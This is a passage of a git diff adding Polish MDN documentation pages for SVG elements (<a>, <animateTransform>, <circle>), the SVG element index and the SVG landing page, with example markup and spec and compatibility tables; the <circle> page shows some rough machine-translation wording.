+ xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+ &lt;a xlink:href="https://developer.mozilla.org/en-US/docs/SVG"
+ target="_blank"&gt;
+ &lt;rect height="30" width="120" y="0" x="0" rx="15"/&gt;
+ &lt;text fill="white" text-anchor="middle"
+ y="21" x="60"&gt;SVG on MDN&lt;/text&gt;
+ &lt;/a&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Rezultat">Rezultat</h3>
+
+<p>{{EmbedLiveSample("Example", 170, 60)}}</p>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("SVG2", "linking.html#Links", "&lt;a&gt;")}}</td>
+ <td>{{Spec2("SVG2")}}</td>
+ <td>Replaced {{SVGAttr("xlink:href")}} attribute by {{SVGAttr("href")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("SVG1.1", "linking.html#Links", "&lt;a&gt;")}}</td>
+ <td>{{Spec2("SVG1.1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>IE</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop('1.8')}}</td>
+ <td>{{CompatIE('9.0')}}</td>
+ <td>{{CompatOpera('9.0')}}</td>
+ <td>{{CompatSafari('3.0.4')}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatAndroid('3.0')}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile('1.8')}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatSafari('3.0.4')}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/svg/element/animatetransform/index.html b/files/pl/web/svg/element/animatetransform/index.html
new file mode 100644
index 0000000000..e54fffd073
--- /dev/null
+++ b/files/pl/web/svg/element/animatetransform/index.html
@@ -0,0 +1,95 @@
+---
+title: <animateTransform>
+slug: Web/SVG/Element/animateTransform
+tags:
+ - Animacja
+ - Animacje SVG
+ - SVG Animacja
+translation_of: Web/SVG/Element/animateTransform
+---
+<div>{{SVGRef}}</div>
+
+<p>Element animateTransform służy do transformacji właściwości elementu takich jak skalowanie, obracanie, przechylanie.</p>
+
+<h2 id="Użycie">Użycie</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: html">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120" viewBox="0 0 120 120"
+ xmlns="http://www.w3.org/2000/svg" version="1.1"
+ xmlns:xlink="http://www.w3.org/1999/xlink" &gt;
+
+ &lt;polygon points="60,30 90,90 30,90"&gt;
+ &lt;animateTransform attributeName="transform"
+ attributeType="XML"
+ type="rotate"
+ from="0 60 70"
+ to="360 60 70"
+ dur="10s"
+ repeatCount="indefinite"/&gt;
+ &lt;/polygon&gt;
+&lt;/svg&gt;</pre>
+
+<p><strong>Podgląd na żywo</strong></p>
+
+<p>{{ EmbedLiveSample('Example','120','120') }}</p>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<h3 id="Atrybuty_globalne">Atrybuty globalne</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Conditional processing attributes" title="en-US/docs/Web/SVG/Attribute#Conditional processing attributes">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core attributes" title="en-US/docs/Web/SVG/Attribute#Core attributes">Core attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation event attributes" title="en-US/docs/Web/SVG/Attribute#Animation event attributes">Animation event attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Xlink attributes" title="en-US/docs/Web/SVG/Attribute#Xlink attributes">Xlink attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation attribute target attributes" title="en-US/docs/Web/SVG/Attribute#Animation attribute target attributes">Animation attribute target attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation timing attributes" title="en-US/docs/Web/SVG/Attribute#Animation timing attributes">Animation timing attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation value attributes" title="en-US/docs/Web/SVG/Attribute#Animation value attributes">Animation value attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation addition attributes" title="en-US/docs/Web/SVG/Attribute#Animation addition attributes">Animation addition attributes</a> »</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+</ul>
+
+<h3 id="Atrybuty_specyficzne">Atrybuty specyficzne</h3>
+
+<ul>
+ <li>{{ SVGAttr("by") }}</li>
+ <li>{{ SVGAttr("from") }}</li>
+ <li>{{ SVGAttr("to") }}</li>
+ <li>{{ SVGAttr("type") }}</li>
+</ul>
+
+<h2 id="Model_DOM">Model DOM</h2>
+
+<p>Element implementuje <code><a href="/en-US/docs/DOM/SVGAnimateTransformElement" title="en/DOM/SVGAnimateTransformElement">SVGAnimateTransformElement</a></code>.</p>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("SVG Animations 2", "#AnimateTransformElement", "&lt;animateTransform&gt;")}}</td>
+ <td>{{Spec2("SVG Animations 2")}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('SVG1.1', 'animate.html#AnimateTransformElement', '&lt;animateTransform&gt;')}}</td>
+ <td>{{Spec2('SVG1.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<p>{{Compat("svg.elements.animateTransform")}}</p>
diff --git a/files/pl/web/svg/element/index.html b/files/pl/web/svg/element/index.html
new file mode 100644
index 0000000000..297ac09a16
--- /dev/null
+++ b/files/pl/web/svg/element/index.html
@@ -0,0 +1,252 @@
+---
+title: SVG element reference
+slug: Web/SVG/Element
+tags:
+ - NeedsTranslation
+ - SVG
+ - SVG Reference
+ - TopicStub
+ - 'l10n:priority'
+translation_of: Web/SVG/Element
+---
+<p>« <a href="/en-US/docs/SVG">SVG</a> / <a href="/en-US/docs/SVG/Attribute">SVG Attribute reference</a> »</p>
+
+<h2 id="SVG_elements">SVG elements</h2>
+
+<div class="index"><span id="A">A</span>
+
+<ul>
+ <li>{{SVGElement("a")}}</li>
+ <li>{{SVGElement("altGlyph")}}</li>
+ <li>{{SVGElement("altGlyphDef")}}</li>
+ <li>{{SVGElement("altGlyphItem")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("animateColor")}}</li>
+ <li>{{SVGElement("animateMotion")}}</li>
+ <li>{{SVGElement("animateTransform")}}</li>
+ <li>{{HTMLElement("audio")}}</li>
+</ul>
+<span id="C">B C</span>
+
+<ul>
+ <li>{{HTMLElement("canvas")}}</li>
+ <li>{{SVGElement("circle")}}</li>
+ <li>{{SVGElement("clipPath")}}</li>
+ <li>{{SVGElement("color-profile")}}</li>
+ <li>{{SVGElement("cursor")}}</li>
+</ul>
+<span id="D">D</span>
+
+<ul>
+ <li>{{SVGElement("defs")}}</li>
+ <li>{{SVGElement("desc")}}</li>
+ <li>{{SVGElement("discard")}}</li>
+</ul>
+<span id="E">E</span>
+
+<ul>
+ <li>{{SVGElement("ellipse")}}</li>
+</ul>
+<span id="F">F</span>
+
+<ul>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("feDropShadow")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMergeNode")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("font")}}</li>
+ <li>{{SVGElement("font-face")}}</li>
+ <li>{{SVGElement("font-face-format")}}</li>
+ <li>{{SVGElement("font-face-name")}}</li>
+ <li>{{SVGElement("font-face-src")}}</li>
+ <li>{{SVGElement("font-face-uri")}}</li>
+ <li>{{SVGElement("foreignObject")}}</li>
+</ul>
+<span id="G">G</span>
+
+<ul>
+ <li>{{SVGElement("g")}}</li>
+ <li>{{SVGElement("glyph")}}</li>
+ <li>{{SVGElement("glyphRef")}}</li>
+</ul>
+<span id="H">H</span>
+
+<ul>
+ <li>{{SVGElement("hatch")}}</li>
+ <li>{{SVGElement("hatchpath")}}</li>
+ <li>{{SVGElement("hkern")}}</li>
+</ul>
+<span id="I">I</span>
+
+<ul>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li>{{SVGElement("image")}}</li>
+</ul>
+<span id="L">J K L</span>
+
+<ul>
+ <li>{{SVGElement("line")}}</li>
+ <li>{{SVGElement("linearGradient")}}</li>
+</ul>
+<span id="M">M</span>
+
+<ul>
+ <li>{{SVGElement("marker")}}</li>
+ <li>{{SVGElement("mask")}}</li>
+ <li>{{SVGElement("mesh")}}</li>
+ <li>{{SVGElement("meshgradient")}}</li>
+ <li>{{SVGElement("meshpatch")}}</li>
+ <li>{{SVGElement("meshrow")}}</li>
+ <li>{{SVGElement("metadata")}}</li>
+ <li>{{SVGElement("missing-glyph")}}</li>
+ <li>{{SVGElement("mpath")}}</li>
+</ul>
+<span id="P">N O P</span>
+
+<ul>
+ <li>{{SVGElement("path")}}</li>
+ <li>{{SVGElement("pattern")}}</li>
+ <li>{{SVGElement("polygon")}}</li>
+ <li>{{SVGElement("polyline")}}</li>
+</ul>
+<span id="R">Q R</span>
+
+<ul>
+ <li>{{SVGElement("radialGradient")}}</li>
+ <li>{{SVGElement("rect")}}</li>
+</ul>
+<span id="S">S</span>
+
+<ul>
+ <li>{{SVGElement("script")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("solidcolor")}}</li>
+ <li>{{SVGElement("stop")}}</li>
+ <li>{{SVGElement("style")}}</li>
+ <li>{{SVGElement("svg")}}</li>
+ <li>{{SVGElement("switch")}}</li>
+ <li>{{SVGElement("symbol")}}</li>
+</ul>
+<span id="T">T</span>
+
+<ul>
+ <li>{{SVGElement("text")}}</li>
+ <li>{{SVGElement("textPath")}}</li>
+ <li>{{SVGElement("title")}}</li>
+ <li>{{SVGElement("tref")}}</li>
+ <li>{{SVGElement("tspan")}}</li>
+</ul>
+<span id="U">U</span>
+
+<ul>
+ <li>{{SVGElement("unknown")}}</li>
+ <li>{{SVGElement("use")}}</li>
+</ul>
+<span id="V">V — Z</span>
+
+<ul>
+ <li>{{HTMLElement("video")}}</li>
+ <li>{{SVGElement("view")}}</li>
+ <li>{{SVGElement("vkern")}}</li>
+</ul>
+</div>
+
+<h2 id="Categories">Categories</h2>
+
+<h3 id="Animation_elements">Animation elements</h3>
+
+<p>{{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateMotion")}}, {{SVGElement("animateTransform")}}, {{SVGElement("discard")}}, {{SVGElement("mpath")}}, {{SVGElement("set")}}</p>
+
+<h3 id="Basic_shapes">Basic shapes</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="Container_elements">Container elements</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("missing-glyph")}}, {{SVGElement("pattern")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("unknown")}}</p>
+
+<h3 id="Descriptive_elements">Descriptive elements</h3>
+
+<p>{{SVGElement("desc")}}, {{SVGElement("metadata")}}, {{SVGElement("title")}}</p>
+
+<h3 id="Filter_primitive_elements">Filter primitive elements</h3>
+
+<p>{{SVGElement("feBlend")}}, {{SVGElement("feColorMatrix")}}, {{SVGElement("feComponentTransfer")}}, {{SVGElement("feComposite")}}, {{SVGElement("feConvolveMatrix")}}, {{SVGElement("feDiffuseLighting")}}, {{SVGElement("feDisplacementMap")}}, {{SVGElement("feDropShadow")}}, {{SVGElement("feFlood")}},{{SVGElement("feFuncA")}}, {{SVGElement("feFuncB")}}, {{SVGElement("feFuncG")}}, {{SVGElement("feFuncR")}},{{SVGElement("feGaussianBlur")}}, {{SVGElement("feImage")}}, {{SVGElement("feMerge")}}, {{SVGElement("feMergeNode")}}, {{SVGElement("feMorphology")}}, {{SVGElement("feOffset")}}, {{SVGElement("feSpecularLighting")}}, {{SVGElement("feTile")}}, {{SVGElement("feTurbulence")}}</p>
+
+<h3 id="Font_elements">Font elements</h3>
+
+<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}, {{SVGElement("hkern")}}, {{SVGElement("vkern")}}</p>
+
+<h3 id="Gradient_elements">Gradient elements</h3>
+
+<p>{{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("radialGradient")}}, {{SVGElement("stop")}}</p>
+
+<h3 id="Graphics_elements">Graphics elements</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("text")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Graphics_referencing_elements">Graphics referencing elements</h3>
+
+<p>{{HTMLElement("audio")}}, {{HTMLElement("iframe")}}, {{SVGElement("image")}}, {{SVGElement("mesh")}}, {{SVGElement("use")}}, {{HTMLElement("video")}}</p>
+
+<h3 id="HTML_elements">HTML elements</h3>
+
+<p>{{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("video")}}</p>
+
+<h3 id="Light_source_elements">Light source elements</h3>
+
+<p>{{SVGElement("feDistantLight")}}, {{SVGElement("fePointLight")}}, {{SVGElement("feSpotLight")}}</p>
+
+<h3 id="Never-rendered_elements">Never-rendered elements</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("defs")}}, {{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("meshgradient")}}, {{SVGElement("metadata")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("symbol")}}, {{SVGElement("title")}}</p>
+
+<h3 id="Paint_server_elements">Paint server elements</h3>
+
+<p>{{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("solidcolor")}}</p>
+
+<h3 id="Renderable_elements">Renderable elements</h3>
+
+<p>{{SVGElement("a")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("foreignObject")}}, {{SVGElement("g")}}, {{HTMLElement("iframe")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("text")}}, {{SVGElement("textPath")}}, {{SVGElement("tspan")}}, {{SVGElement("unknown")}}, {{SVGElement("use")}}, {{HTMLElement("video")}}</p>
+
+<h3 id="Shape_elements">Shape elements</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="Structural_elements">Structural elements</h3>
+
+<p>{{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("svg")}}, {{SVGElement("symbol")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Text_content_elements">Text content elements</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}, {{SVGElement("textPath")}}, {{SVGElement("text")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="Text_content_child_elements">Text content child elements</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("textPath")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="Uncategorized_elements">Uncategorized elements</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("color-profile")}}, {{SVGElement("cursor")}}, {{SVGElement("filter")}}, {{SVGElement("foreignObject")}}, {{SVGElement("hatchpath")}}, {{SVGElement("meshpatch")}}, {{SVGElement("meshrow")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("view")}}</p>
diff --git a/files/pl/web/svg/element/okrąg/index.html b/files/pl/web/svg/element/okrąg/index.html
new file mode 100644
index 0000000000..6ef2bca50e
--- /dev/null
+++ b/files/pl/web/svg/element/okrąg/index.html
@@ -0,0 +1,99 @@
+---
+title: <circle>
+slug: Web/SVG/Element/okrąg
+translation_of: Web/SVG/Element/circle
+---
+<div>{{SVGRef}}</div>
+
+<p>Element <a href="/en-US/docs/Web/SVG">SVG</a> jest podstawowym kształtem SVG, używanym do tworzenia okręgów w oparciu o punkt środkowy i promień.<strong><code>&lt;circle&gt;</code></strong></p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html, body, svg {height: 100%}</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;circle cx="50" cy="50" r="50" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample ("Przykład", 100, 100)}}</p>
+</div>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<dl>
+ <dt id="attr-cx">{{SVGAttr ("cx")}}</dt>
+ <dd>Ten atrybut definiuje współrzędną osi X środka elementu.<br>
+ <small><em>Typ wartości</em> : <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;długość&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;procent&gt;</a></strong> ; <em>Wartość domyślna</em> : <code>0</code>; <em>Animowalny</em> : <strong>tak</strong></small></dd>
+ <dt id="attr-cy">{{SVGAttr ("cy")}}</dt>
+ <dd>Ten atrybut definiuje współrzędną osi y środka środka elementu.<br>
+ <small><em>Typ wartości</em> :  <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;długość&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;procent&gt;</a></strong> ; <em>Wartość domyślna</em> : <code>0</code>; <em>Animowalny</em> : <strong>tak</strong></small></dd>
+ <dt id="attr-r">{{SVGAttr ("r")}}</dt>
+ <dd>Ten atrybut definiuje promień elementu.<br>
+ Wartość mniejsza lub równa zero powoduje wyłączenie renderowania okręgu.<br>
+ <small><em>Typ wartości</em> : <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a> ; <em>Wartość domyślna</em> : <code>0</code>; <em>Animowalny</em> : <strong>tak</strong></small></dd>
+ <dt>{{SVGAttr ("ścieżkaLength")}}</dt>
+ <dd>Ten atrybut pozwala określić całkowitą długość ścieżki w jednostkach użytkownika.<br>
+ <small><em>Typ wartości</em> : <a href="/docs/Web/SVG/Content_type#Number"><strong>&lt;liczba&gt;</strong></a> ; <em>Wartość domyślna</em> : <em>brak</em> ; <em>Animowalny</em> : <strong>tak</strong></small></dd>
+</dl>
+
+<div class="note">
+<p><strong>Uwaga:</strong> Począwszy od SVG2 i <em>Geometria Propertie</em> s, czyli te atrybuty mogą być również używane jako właściwości CSS dla tego elementu.SVG2 <code>cx</code>, <code>cy</code>and <code>r</code> are</p>
+</div>
+
+<h3 id="Globalne_atrybuty">Globalne atrybuty</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Główne atrybuty</a></dt>
+ <dd><small>Przede wszystkim: {{SVGAttr ('id')}}, {{SVGAttr ('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Atrybuty stylizacji</a></dt>
+ <dd><small>{{SVGAttr ('class')}}, {{SVGAttr ('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Atrybuty warunkowego przetwarzania</a></dt>
+ <dd><small>Przede wszystkim: {{SVGAttr ('requiredExtensions')}}, {{SVGAttr ("systemLanguage")}}</small></dd>
+ <dt>Atrybuty zdarzeń</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Global event attributes</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Graphical event attributes</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Most notably: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>ARIA Attributes</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("SVG2", "shapes.html#CircleElement", "&lt;circle&gt;")}}</td>
+ <td>{{Spec2 ("SVG2")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName ("SVG1.1", "shapes.html # CircleElement", "&lt;circle&gt;")}}</td>
+ <td>{{Spec2 ("SVG1.1")}}</td>
+ <td>Początkowa definicja</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_przeglądarki">Zgodność przeglądarki</h2>
+
+<div class="hidden">Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych. Jeśli chcesz przyczynić się do danych, sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam prośbę o wycofanie.</div>
+
+<p>{{Compat ("svg.elements.circle")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>Inne podstawowe kształty SVG: <strong>{{SVGElement ('ellipse')}}</strong> , {{SVGElement ('line')}}, {{SVGElement ('polygon')}}, {{SVGElement ('polyline')}}, { {SVGElement ("rect")}}</li>
+</ul>
diff --git a/files/pl/web/svg/index.html b/files/pl/web/svg/index.html
new file mode 100644
index 0000000000..e28579c3d5
--- /dev/null
+++ b/files/pl/web/svg/index.html
@@ -0,0 +1,100 @@
+---
+title: SVG
+slug: Web/SVG
+tags:
+ - SVG
+ - Wszystkie_kategorie
+translation_of: Web/SVG
+---
+<p> </p>
+
+<div class="callout-box"><strong><a href="pl/SVG/Przewodnik">Na początek</a></strong><br>
+Kurs mający pomóc w rozpoczęciu nauki SVG.</div>
+
+<div>
+<p><strong>Skalowalna Grafika Wektorowa (SVG)</strong> jest językiem na bazie <a href="pl/XML">XML</a>-a służącym do opisu dwuwymiarowej grafiki wektorowej. Ogólnie SVG jest tym dla grafiki czym XHTML dla tekstu.</p>
+
+<p>SVG jest podobny w zakresie do technologi Macromedia Flash. Jednakże tym co odróżnia SVG od Flasha jest <a class="external" href="http://www.w3.org/Graphics/SVG/">rekomendacja W3C</a> (tj. standard dotyczący zamiarów i celów) oraz to, że oparty jest on na XML-u, a nie na zamkniętym formacie binarnym. SVG jest również specjalnie zaprojektowany do współpracy z innymi standardami <a class="external" href="http://www.w3.org/">W3C</a> jak <a href="pl/CSS">CSS</a>, <a href="pl/DOM">DOM</a> czy <a class="external" href="http://www.w3.org/AudioVideo/">SMIL</a>.</p>
+</div>
+
+<p> </p>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h4 id="Dokumentacja" name="Dokumentacja"><a>Dokumentacja</a></h4>
+
+ <dl>
+ <dt><a href="pl/SVG_w_Firefoksie">SVG w Firefoksie</a></dt>
+ <dd><small>Artykuł opisuje podzbiór i zachowanie specyfikacji SVG 1.1 aktualnie zaimplementowanej w Firefoksie 2.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a href="/pl/docs/Web/SVG/Przewodnik/SVG_w_XHTML_-_Wprowadzenie">Wprowadzenie do użycia SVG w HTML-u</a></dt>
+ <dd><small>Ten artykuł oraz <a class="external" href="http://developer.mozilla.org/presentations/xtech2005/svg-canvas/SVGDemo.xml">powiązany przykład</a> pokazują jak używać SVG w kodzie, aby dodać obrazek tła do formularza. Pokazuje jak można użyć JavaScriptu i CSS-a do manipulowania obrazkami, w taki sam sposób w jaki czynią to z HTML-em.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a class="external" href="http://jwatt.org/svg/authoring/">SVG - Podręcznik autorski</a></dt>
+ <dd><small>Omawiane są tutaj najczęstsze błędy w SVG oraz wyjaśnia co programiści czynią, by je naprawić.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a href="pl/Projekt_Mozilla_SVG">Projekt Mozilla SVG</a></dt>
